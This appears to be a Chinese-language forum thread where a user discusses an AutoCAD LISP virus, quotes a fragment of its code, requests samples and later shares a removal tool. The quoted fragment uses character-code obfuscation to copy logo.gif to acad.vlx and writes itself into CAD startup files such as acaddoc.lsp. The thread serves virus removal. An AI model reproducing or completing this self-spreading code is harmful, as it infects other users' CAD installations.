wuhengsi

专门写一个专杀EXE。kill了它吧，，，因为BAT稳定性不够，加上它要解释，很耗CPU的

wuhengsi

我之前碰到过这个病毒
    (setq woldacad (strcat wpath "acad.mnl"))
    (setq wnewacad (strcat dpath "acaddoc.lsp"))
    (wwriteapp)
  )
  (vl-file-delete (strcat dpath "acaddoc.lsp"))
)
;load "acadapq")
(setvar "cmdecho" wold_cmd)
(load "acadappp.lsp")
(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))

(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
  (setq flag nil)
  (setq flag1 t)
  (if (findfile target)
    (progn
      (setq wjm1 (open target "r"))
      (while (setq text (read-line wjm1))
        (if (= text bz) (setq flag1 nil))

wuhengsi

待这月忙完项目。。我来写个专杀EXE

wuhengsi

几年前碰过这个病毒，当时没有认真分析，只是简单提取了病毒的特征码，加入“620自助杀毒”病毒库中，可以全盘扫描到病毒
在专杀未出来前，可用 620自助杀毒  扫描全盘杀死，只是临时解决办法，要彻底解决还要专杀工具才行

620自助杀毒V2.1
下载地址： http://duote.com/soft/37637.html

wuhengsi

回复 1# 195135692

你能否尽快提供 CAD 病毒样本给我，以便能提取特征码及分析，如果你有完全的样本可以全部打包发送到我的邮箱：acad.vlx、acaddoc.lsp、acadapq.lsp、acad.lsp、acadapp.lsp、acadappp.lsp、acadiso.lsp、acad.fas、acaddoc.fas、lcm.fas、boot.dat、logo.gif    (要压缩（或压缩2次）再发送)邮箱： [email]wuhengsi88@163.com[/email]

wuhengsi

CAD专杀已写好，请下载。。
相对轻巧快速。。。

文件名称：CAD病毒专杀工具V1.0.zip
文件大小：1.9MB
下载地址：http://pan.baidu.com/s/1c03Z2so

wuhengsi

说明：金山有误报，以上下载地址我暂时撤销了，正在申请解除误报中。。。
待解除误报后我再重新公布下载地址。
如现在各位有需要，请留下言

wuhengsi

软件已通过金山、360验证。 (2014-10-21 日最新下载地址)

文件名称：CAD病毒专杀工具V1.0
软件大小：1.9MB
下载地址：http://pan.baidu.com/s/1bnleIlT